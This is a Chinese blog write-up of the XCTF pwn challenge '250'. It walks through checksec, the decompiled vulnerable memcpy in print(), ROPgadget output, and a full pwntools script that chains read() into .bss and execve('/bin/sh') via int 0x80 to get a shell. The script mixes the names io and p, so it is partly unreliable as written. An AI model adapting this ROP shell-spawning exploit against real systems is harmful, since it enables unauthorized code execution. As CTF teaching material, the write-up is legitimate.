

XCTF pwn 高手进阶区 250

原创

求是量子 于 2021-01-04 11:12:10 发布 13736 收藏 1

分类专栏: [pwn安全](#) 文章标签: [python shell 安全 信息安全 pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/stareforever/article/details/112170261>

版权



[pwn安全 专栏收录该内容](#)

13 篇文章 1 订阅

订阅专栏

查看保护

```
250$ checksec 250
[*] '/home/pwn/桌面/xctf/250/250'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

```
250$ file 250
250: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=b75ea2dc
c66a777659894f9531d28cd5b7527f48, not stripped
```

静态链接

IDA打开，查看程序流程

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char v3; // ST04_1
    char v4; // ST04_1
    int v6; // [esp+Ch] [ebp-Ch]

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("SSCTF[InPut Data Size]", v3);
    _isoc99_scanf("%d", &v6);
    temp = malloc(v6);
    printf("SSCTF[YourData]", v4);
    read(0, temp, v6);
    puts("[Ok!]", v4);
    print(temp, v6);
    return 0;
}
```

<https://blog.csdn.net/stareforever>

自定义的print函数

```
int __cdecl print(int a1, int a2)
{
    char v3; // [esp+Eh] [ebp-3Ah]

    memcpy(&v3, a1, a2);
    return puts(&v3);
}
```

这里外面传来temp并拷贝到v3中，但是没有考虑长度，存在栈溢出漏洞，溢出长度0x3a

那么可以考虑i386的rop

```
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
=> execve(" /bin/sh", NULL, NULL)
```

控制对应的寄存器为对应的值就可以获得shell

程序里面没有'/bin/sh'，可以控制read函数写入到bss段

那么可以 ROPgadget --binary 250 --only "pop|ret" 查看对应的gadget

```
pop_edx_ecx_ebx_ret=0x806efe0
pop_eax_ret=0x80b89e6
int_addr=0x806cbb5
```

bss段可以选择(这里选择不唯一)

```
bss=0x080ECB00
```

payload构造, 首先溢出在bss段写入/bin/sh

```
read=elf.symbols['read']
payload = b'a'*(0x3a+0x4)
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)
```

然后修改寄存器的值

```
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)
```

完整ex

```
from pwn import *
#static 构造exeve() int80
context(log_level='debug')

io=process("./250")
elf=ELF("./250")
io.recv()
io.sendline(b'200')
io.recv()
#read=0x806d510
read=elf.symbols['read']
bss=0x080ECB00
pop_edx_ecx_ebx_ret=0x806efe0
pop_eax_ret=0x80b89e6
int_addr=0x806cbb5

payload = b'a'*(0x3a+0x4)
payload += p32(read) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(bss) + p32(0x8)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_addr)

p.sendline(payload)

p.send(b'/bin/sh\x00')

io.interactive()
```